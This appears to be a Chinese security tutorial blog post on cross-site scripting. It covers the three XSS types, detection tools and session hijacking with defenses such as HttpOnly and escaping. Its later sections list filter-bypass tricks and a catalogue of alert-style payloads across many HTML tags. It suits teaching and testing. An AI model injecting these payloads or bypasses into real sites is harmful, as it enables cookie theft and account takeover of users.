XSS漏洞

原理

        攻击者在网页中嵌入客户端脚本,通常是JavaScript编写的恶意代码,当用户使用浏览器浏览被嵌入恶意代码的网页时,恶意代码将会在用户的浏览器上执行,将用户的信息发送给攻击者。

分类

        反射型

        反射型XSS也被称为非持久性XSS,是现在最容易出现的一种 XSS 漏洞。当用户访问一个带有XSS代码的URL请求时,服务器端接收数据后处理,然后把带有XSS 代码的数据发送到浏览器,浏览器解析这段带有XSS 代码的数据后,最终造成XSS 漏洞。这个过程就像一次反射,故称为反射型XSS。

        存储型

        允许用户存储数据的 Web应用程序都可能会出现存储型XSS漏洞,当攻击者提交一段XSS代码后,被服务器端接收并存储,当用户访问该应用程序时,这段XSS代码被程序读出来响应给浏览器,造成XSS 跨站攻击,这就是存储型 XSS。

        DOM型

        DOM的全称为Document Object Model,即文档对象模型,DOM 通常用于代表在HTML、XHTML和XML中的对象。使用 DOM可以允许程序和脚本动态地访问和更新文档的内容、结构和样式。通过JavaScript可以重构整个HTML页面,而要重构页面或者页面中的某个对象, JavaScript就需要知道HTML 文档中所有元素的“位置”。而 DOM 为文档提供了结构化表示,并定义了如何通过脚本来访问文档结构。根据DOM规定,HTML 文档中的每个成分都是一个节点。

危害

1.网站挂马
2.盗取用户Cookie
3.修改网页内容

4.利用网站重定向

5.XSS蠕虫

检测XSS

        手工检测

        1、找到能够输入的所有地方。

        2、在输入的地方输入特殊字符,确保能观察到其输出的地方。

        3、根据输出的格式,分析服务器对数据的过滤处理方式,设计可能绕过的payload进行绕过测试。

        4、当无法得知输出位置时,可使用     "/>XSS Test"    来测试。

        自动检测

        像之前使用过的APPSCAN、AWVS、Burp Suite等软件,都可以有效地检测XSS跨站漏洞,但这类大型漏扫工具除检测XSS外,还会检测 SQL注射、文件包含、应用程序错误等漏洞。虽然这类大型漏扫可以配置只检测XSS,但却不如专业的XSS检测工具效率高。
        专业的XSS扫描工具有很多,像有名的XSSER、XSSF 都是不错的选择。也有安全爱好者制作了扫描XSS漏洞的Web服务,如: http://www.domxssscanner.com/,专门用来扫描DOM类型的XSS,在提交留言时可能需要短信验证、验证码填写等,工具是无法做到的。

利用方式

        会话劫持

        条件:服务器仅使用Cookie作为用户身份验证信息。

        原理:利用XSS攻击获取用户验证登录后的cookie信息,在cookie信息没有失效前,攻击者利用用户的cookie信息去登陆用户的账号,无需用户名和密码。

        防御方法:添加HttpOnly(添加了HttpOnly的Cookie将不会被浏览器获取)。

        XSS平台

         XSSPlatform:是一款XSS漏洞利用代码组合成的框架,其中包括最基本的获取Cookie、获取HTML代码、键盘记录、基础认证钓鱼等功能。

防御

        过滤:对于用户输入的敏感字符进行过滤。

        转义:利用htmlspecialchars()函数把预定义的字符转换为 HTML 实体:

        编码:对用户输入的数据进行实体编码。

        当用户输入由href属性输出时

                1、检查用户输入,必须以http或者https开头。

                2、进行html实体编码

        添加HttpOnly字段

绕过

        常见过滤绕过方法

        空格过滤:当空格被过滤了时,我们可以用 / 来代替空格:

        引号过滤:如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号。<img src=x οnerrοr=alert(`xss`);>

        括号过滤:当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。<img src=x οnerrοr="javascript:window.οnerrοr=alert;throw 1">

        关键字过虑

                双写:有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过。<scrscriptipt>alert(1);</scrscriptipt>

                大小写:<sCRiPt>alert(1);</sCrIpT>

        字符串拼接绕过:利用eval()函数,JavaScript的eval()函数也可以计算 JavaScript 字符串,并把它作为脚本代码来执行。<img src="x" οnerrοr="a='aler';b='t';c='(1)';eval(a+b+c)"> <img src="x" οnerrοr="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">

        编码绕过:Unicode编码绕过、url编码绕过、Ascii码绕过、hex绕过、base64绕过

        过滤url地址:

                使用url编码:<img src="x" οnerrοr=document.location=`http://%77%77%77%2e %62%61%69%64%75%2e%63%6f%6d/`>

                使用IP:十进制IP、八进制IP、hex、html标签中用//可以代替http://、使用\\(在windows下\本身就有特殊用途,是一个path 的写法,所以\\在Windows下是file协议,在linux下才会是当前域的协议)、使用中文逗号代替英文逗号(如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号)

        单引号闭合+htmlspecialchars函数绕过:'οnmοuseοver='alert(/xss/)

        JavaScript伪协议:"><a href=javascript:alert(/xss/)>                 o_n和<scr_ipt>过滤

常见的payload

1.script标签

        <script>alert(1);</script>

        <script>alert("xss");</script>

2.img 标签

        <img src=1 οnerrοr=alert(1);>

        <img src=1 οnerrοr=alert("xss");>

3.input标签

        <input οnfοcus=alert(1);>        onfocus 事件在对象获得焦点时发生

        <input οnblur=alert(1) autofocus><input autofocus>   竞争焦点,从而触发onblur事件:

        input 标签的 autofocus 属性规定当页面加载时 元素应该自动获得焦点。可以通过autofocus属性自动执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发。

4.details 标签

        <details οntοggle=alert(1);>

        <details> 标签通过提供用户开启关闭的交互式控件,规定了用户可见的或者隐藏的需求的补充细节。ontoggle 事件规定了在用户打开或关闭 <details> 元素时触发。

        <details open οntοggle=alert(1);>

        使用details 标签的 open 属性触发ontoggle事件,无需用户去点击即可触发。

5.svg 标签

        <svg οnlοad=alert(1);>

        <svg> 标签用来在HTML页面中直接嵌入SVG 文件的代码。

6.select 标签

        <select οnfοcus=alert(1)></select>        <select> 标签用来创建下拉列表。

        <select οnfοcus=alert(1) autofocus>

        通过autofocus属性规定当页面加载时元素应该自动获得焦点,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发。

7.iframe 标签

        <iframe οnlοad=alert(1);></iframe>

        <iframe> 标签会创建包含另外一个文档的内联框架。

8.video 标签

        <video><source οnerrοr=alert(1)>

        <video> 标签定义视频,比如电影片段或其他视频流。

9.audio 标签

        <audio src=x  οnerrοr=alert(1);>

        <audio> 标签定义声音,比如音乐或其他音频流。

10.body 标签

        <body οnlοad=alert(1);>                <body> 标签定义文档的主体。

        <body
        οnscrοll=alert(1);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>

        onscroll 事件在元素滚动条在滚动时触发。我们可以利用换行符以及autofocus,当用户滑动滚动条的时候自动触发,无需用户去点击触发。

11.textarea 标签

        <textarea οnfοcus=alert(1); autofocus>

        <textarea> 标签定义一个多行的文本输入控件。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值